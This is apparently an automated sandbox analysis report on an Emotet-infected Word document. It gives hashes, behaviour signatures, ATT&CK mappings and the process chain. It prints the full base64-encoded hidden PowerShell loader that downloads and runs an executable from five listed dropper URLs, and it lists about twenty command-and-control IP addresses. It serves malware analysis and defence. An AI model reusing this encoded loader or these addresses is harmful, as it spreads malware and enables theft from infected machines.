emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
150s
max time network
165s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-01-20_134108.doc
Size

239KB
MD5

a00a94aaede55678bd1a57c2b3dea065
SHA1

2079e6892c89a83b81d4c9404cedfca758ad30b1
SHA256

9ca70e8a4012c81d12c550f615d24e5374b10972cd23e43abfbed2062ecc66f6
SHA512

d3cd979db71d6ca0b3a81e6e14f9af32c4ea2c4e0a95e6e2b8c1f7d365a9792d8b826d1ee6d059d1928e4db85a24ed743565b8bd84d6d8792dcae9e2e2fae276

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://blog.hasilkan.com/cgi-bin/LxoH/

exe.dropper

http://luatsusaigon.info/libs/zgis/

exe.dropper

https://primalis.com.vn/wp-content/uploads/2020/rxm/

exe.dropper

https://womenhealth.aureliusconferences.com/events/bYIkt2OE/

exe.dropper

https://travelciwidey.com/wp-includes/kaU705/

Extracted

Family

emotet

68.114.229.171:80

74.101.225.121:443

152.168.248.128:443

217.160.19.232:8080

176.9.43.37:8080

5.199.130.105:7080

37.187.72.193:8080

68.172.243.146:80

181.143.126.170:80

108.191.2.72:80

85.152.174.56:80

101.187.197.33:443

121.88.5.176:443

189.203.177.41:443

78.186.5.109:443

66.34.201.20:7080

209.141.54.221:8080

181.126.70.117:80

87.106.136.232:8080

181.13.24.82:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3088 WINWORD.EXE
3088 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3248 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	3248	Powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

Powershell.exetaskmgracc.exe

pid	process
3248	Powershell.exe
3248	Powershell.exe
3248	Powershell.exe
3248	Powershell.exe
3160	taskmgracc.exe
3160	taskmgracc.exe
3160	taskmgracc.exe
3160	taskmgracc.exe

Blacklisted process makes network request 1 IoCs

Processes:

Powershell.exe

flow pid process

21 3248 Powershell.exe

flow	pid	process
21	3248	Powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

Powershell.exe45.exetaskmgracc.exe

description	pid	process	target process
PID 3248 wrote to memory of 2424	3248	Powershell.exe	45.exe
PID 3248 wrote to memory of 2424	3248	Powershell.exe	45.exe
PID 3248 wrote to memory of 2424	3248	Powershell.exe	45.exe
PID 2424 wrote to memory of 3920	2424	45.exe	45.exe
PID 2424 wrote to memory of 3920	2424	45.exe	45.exe
PID 2424 wrote to memory of 3920	2424	45.exe	45.exe
PID 3672 wrote to memory of 3160	3672	taskmgracc.exe	taskmgracc.exe
PID 3672 wrote to memory of 3160	3672	taskmgracc.exe	taskmgracc.exe
PID 3672 wrote to memory of 3160	3672	taskmgracc.exe	taskmgracc.exe

Executes dropped EXE 4 IoCs

Processes:

45.exe45.exetaskmgracc.exetaskmgracc.exe

pid process

2424 45.exe
3920 45.exe
3672 taskmgracc.exe
3160 taskmgracc.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

45.exetaskmgracc.exe

pid process

3920 45.exe
3160 taskmgracc.exe

pid	process
2424	45.exe
3920	45.exe
3672	taskmgracc.exe
3160	taskmgracc.exe

pid	process
3920	45.exe
3160	taskmgracc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3248	3424	Powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 6 IoCs

Processes:

45.exetaskmgracc.exe

description	ioc	process
File renamed	C:\Users\Admin\45.exe => C:\Windows\SysWOW64\taskmgracc.exe	45.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	taskmgracc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	taskmgracc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	taskmgracc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	taskmgracc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	taskmgracc.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-20_134108.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
PID:3088

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABNAGkAagBtAGwAdwBjAGYAegA9ACcAWQB3AHAAbwBnAGwAbgB6AGwAZQB2AGIAeAAnADsAJABNAG0AZABlAGIAYwBzAGoAcABkAGkAeQBuACAAPQAgACcANAA1ACcAOwAkAFcAYgBkAHMAdwBwAHgAbwBqAD0AJwBCAGMAagBnAGQAbQBlAGUAdwB1AGEAeAAnADsAJABRAGwAZgBsAHIAawB1AGMAYQByAHIAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQBtAGQAZQBiAGMAcwBqAHAAZABpAHkAbgArACcALgBlAHgAZQAnADsAJABPAHQAYQBxAGgAbQBtAGkAcQBnAD0AJwBaAGEAaQB6AGIAZgB6AHIAbQB3AGIAeAByACcAOwAkAE8AbgBqAHYAcQB6AHYAYwBhAHoAbQBjAHcAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAEIAYwBsAEkARQBOAHQAOwAkAEoAcQBoAG0AbwBsAGwAagBpAHMAeQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AaABhAHMAaQBsAGsAYQBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ATAB4AG8ASAAvACoAaAB0AHQAcAA6AC8ALwBsAHUAYQB0AHMAdQBzAGEAaQBnAG8AbgAuAGkAbgBmAG8ALwBsAGkAYgBzAC8AegBnAGkAcwAvACoAaAB0AHQAcABzADoALwAvAHAAcgBpAG0AYQBsAGkAcwAuAGMAbwBtAC4AdgBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwAyADAAMgAwAC8AcgB4AG0ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AG8AbQBlAG4AaABlAGEAbAB0AGgALgBhAHUAcgBlAGwAaQB1AHMAYwBvAG4AZgBlAHIAZQBuAGMAZQBzAC4AYwBvAG0ALwBlAHYAZQBuAHQAcwAvAGIAWQBJAGsAdAAyAE8ARQAvACoAaAB0AHQAcABzADoALwAvAHQAcgBhAHYAZQBsAGMAaQB3AGkAZABlAHkALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsAYQBVADcAMAA1AC8AJwAuACIAcwBwAGAAbABpAHQAIgAoACcAKgAnACkAOwAkAFcAZwBtAHYAZQBnAGgAaQB3AHcAeABiAD0AJwBTAG0AZABkAGgAbQBkAHYAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBzAGEAeQB4AHIAeQBmAHoAIABpAG4AIAAkAEoAcQBoAG0AbwBsAGwAagBpAHMAeQApAHsAdAByAHkAewAkAE8AbgBqAHYAcQB6AHYAYwBhAHoAbQBjAHcALgAiAGQAbwBXAGAATgBgAGwAYABPAGEAZABGAGkAbABFACIAKAAkAFkAcwBhAHkAeAByAHkAZgB6ACwAIAAkAFEAbABmAGwAcgBrAHUAYwBhAHIAcgBnACkAOwAkAFgAZQB5AHMAcwBkAHoAcwB0AHAAYgBlAD0AJwBQAHMAcwBtAGMAZQBkAGQAawB1AGsAeAB1ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBsAGYAbAByAGsAdQBjAGEAcgByAGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAyADcAMgA4ADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAUQBsAGYAbAByAGsAdQBjAGEAcgByAGcAKQA7ACQAQQBrAHQAYQBoAGIAaQBwAGQAdAB4AD0AJwBTAHEAaQB0AGUAcwB0AGwAJwA7AGIAcgBlAGEAawA7ACQATwByAHUAdQBlAGkAdQBpAHEAcABlAG8APQAnAEoAcgBuAGsAYwBpAGoAZwB1AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBlAHEAcQBpAGQAcgBwAD0AJwBNAGgAZABoAGoAawBoAHQAeQBkACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
PID:3248

C:\Users\Admin\45.exe
"C:\Users\Admin\45.exe"
2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2424

C:\Users\Admin\45.exe
--9a306e6b
3⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:3920

C:\Windows\SysWOW64\taskmgracc.exe
"C:\Windows\SysWOW64\taskmgracc.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:3672

C:\Windows\SysWOW64\taskmgracc.exe
--f7b387a0
2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:3160

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\45.exe

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C:\Users\Admin\45.exe

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C:\Users\Admin\45.exe

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C:\Windows\SysWOW64\taskmgracc.exe

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C:\Windows\SysWOW64\taskmgracc.exe

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memory/2424-8-0x0000000000670000-0x0000000000685000-memory.dmp

Filesize
84KB

Download
memory/3160-15-0x00000000006D0000-0x00000000006E5000-memory.dmp

Filesize
84KB

Download
memory/3160-16-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/3920-10-0x00000000005D0000-0x00000000005E5000-memory.dmp

Filesize
84KB

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memory/3920-11-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

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